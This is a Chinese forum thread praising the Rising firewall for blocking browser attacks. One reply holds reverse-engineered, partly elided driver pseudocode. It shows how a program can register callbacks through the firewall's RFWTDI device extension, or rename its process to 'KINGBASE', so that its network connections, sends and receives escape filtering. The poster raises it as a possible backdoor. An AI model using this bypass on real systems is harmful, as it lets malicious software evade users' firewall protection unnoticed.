伟大的瑞星防火墙立功了。

苑冉

如图：

jijiasd

恭喜了

qingyangxpc

貌似着实不错 不过我没装

成都焓公子

这个漏洞补丁没打？

liveliub

从来不装防火墙 也不怕所谓的远程攻击  

苑冉

瑞星防火墙的防攻击确实很不错，已经多次拦截这些浏览器攻击了。

223301993

没被攻击过

Lgwu

对应漏洞补丁修复后，防火墙不阻止也不会有问题。

  同时给楼主点代码吧，不知道目前瑞星是否解决了该问题。

1. 
   
2. 有意思的瑞星防火墙Tdi过滤驱动内部调用解析tdi 过滤驱动设备名为 "RFWTDI" ,关键处理函数函数和DEVICE_EXTENSION结构如下
   
3. 
   
4. #define    CALLBACK_CREATE_INDEX        0
   
5. #define    CALLBACK_CLEANUP_INDEX        2
   
6. #define    CALLBACK_PROCESSID_INDEX                         3
   
7. #define    CALLBACK_SEND_INDEX        4
   
8. #define    CALLBACK_CONNECT_INDEX        5
   
9. #define    CALLBACK_DISCONNECT_INDEX    6
   
10. #define    CALLBACK_SET_EVENT_INDEX                         7
    
11. #define    CALLBACK_RECEIVE_INDEX        8
    
12. #define    CALLBACK_SEND_DATAGRAM_INDEX            15
    
13. 
    
14. typedef BOOLEAN (*PFN_Callback)(PDEVICE_OBJECT DeviceObject,PIRP Irp,NTSTATUS* Status);
    
15. 
    
16. BOOLEAN SetTdiCallbackFunction(int CallbackIndex,FARPROC pfnCallback,int arg_8);
    
17. 
    
18. BOOLEAN RemoveTdiCallbackFunction(int CallbackIndex,FARPROC pfnCallback,int arg_8)
    
19. 
    
20. typedef struct _DEVICE_EXTENSION
    
21. {
    
22.     FARPROC        SetCallback;
    
23.     FARPROC        RemoveCallback;
    
24.     FARPROC        pFindObjectInfo;
    
25.     PDEVICE_OBJECT    AttachedTcpDevice;
    
26.     PDEVICE_OBJECT    SourceTcpDevice;
    
27.     PDEVICE_OBJECT    AttachedUdpDevice;
    
28.     PDEVICE_OBJECT    SourceUdpDevice;
    
29.     PDEVICE_OBJECT    AttachedRawIpDevice;
    
30.     PDEVICE_OBJECT    SourceRawIpDevice;
    
31. } DEVICE_EXTENSION,*PDEVICE_EXTENSION;
    
32. 
    
33. 调用方法：
    
34.   IoGetDeviceObjectPointer 得到设备对象，然后得到DEVICE_EXTENSION结构
    
35.   通过调用 DeviceExtension->SetCallback 函数去过滤各个Tdi事件进行by pass
    
36. 
    
37. 我们来看看过滤驱动的 IRP_MJ_CREATE 的处理和 by pass
    
38. 
    
39. NTSTATUS Dispatch_Create(IN PDEVICE_OBJECT DeviceObject,
    
40.              IN PIRP Irp,PIO_STACK_LOCATION IrpSp)
    
41. {
    
42.     NTSTATUS        Status = STATUS_SUCCESS;
    
43.     WCHAR        ProcessName[0x20];
    
44.     PDEVICE_OBJECT    AttachedObject; // var_8
    
45.     UCHAR        ProtocolType;
    
46.     PFN_TdiFunction*    pfnTdi;
    
47. 
    
48.     AttachedObject = GetAttachedTargetDevice(DeviceObject,
    
49.             &ProtocolType,Irp);
    
50.     if(!AttachedObject)
    
51.     {
    
52.         Irp->IoStatus.Information = 0;
    
53.                          Irp->IoStatus.Status      = STATUS_SUCCESS;
    
54.         IoCompleteRequest(Irp,IO_NO_INCREMENT);
    
55.         Status = STATUS_SUCCESS;
    
56.         return Status;
    
57.     }
    
58.    
    
59.     GetCurrentProcessName(ProcessName);
    
60.     _wcsupr(ProcessName);
    
61. 
    
62.     do
    
63.     {
    
64.                         if(wcsncmp(ProcessName,L"KINGBASE",8) == 0)
    
65.         {
    
66.         break;
    
67.         }
    
68. 
    
69.         if(pfn_TdiCallbacks[CALLBACK_CREATE_INDEX][0])
    
70.         {
    
71.                pfnTdi = (PFN_TdiFunction*)pfn_TdiCallbacks[CALLBACK_CREATE_INDEX];
    
72.                do
    
73.                {
    
74.            if(!(*pfnTdi))
    
75.            {
    
76.               break;
    
77.            }
    
78. 
    
79.            if(!(*pfnTdi)(DeviceObject,Irp,&Status))
    
80.            {  // Bypass 掉了
    
81.               Irp->IoStatus.Information = 0;
    
82.               Irp->IoStatus.Status      = STATUS_SUCCESS;
    
83.               IoCompleteRequest(Irp,IO_NO_INCREMENT);
    
84.               return Status;
    
85.            }
    
86. 
    
87.            pfnTdi++;
    
88.                                         } while (TRUE);
    
89.            }
    
90. 
    
91.      ...
    
92. 
    
93. 我们在我们的驱动中定义一个 PFN_Callback 函数 MyCallback ,
    
94. 
    
95. BOOLEAN (*PFN_Callback)(PDEVICE_OBJECT DeviceObject,PIRP Irp,NTSTATUS* Status)
    
96. {
    
97.       // 是我们要by pass 的进程 return FALSE;
    
98. 
    
99. }
    
100. 
     
101. 然后调用
     
102.     DeviceExtension->SetCallback(CALLBACK_CREATE_INDEX,MyCallback,0);
     
103. 
     
104. 其它Tdi过滤同样可利用来 ByPass
     
105.        DeviceExtension->SetCallback(CALLBACK_CONNECT_INDEX,MyCallback,0); // TdiConnect
     
106.        DeviceExtension->SetCallback(CALLBACK_SEND_INDEX,MyCallback,0);         // TdiSend
     
107.        DeviceExtension->SetCallback(CALLBACK_RECEIVE_INDEX,MyCallback,0);   // TdiReceive
     
108. 等等
     
109. 
     
110. 当然，你也可以简单的将PEB 进程名改为 kingbase 进行 By Pass
     
111. 
     
112. 是否是后门，有待探讨。
     

复制代码

hwh306311031

没打补丁，难免下次接着攻击
话说这种机会还真是难得

ssactt

至今为止，只用过瑞星的防火墙一次，那次是综合症爆发装了玩的，用的是杭州志愿者论坛的规则，还可以。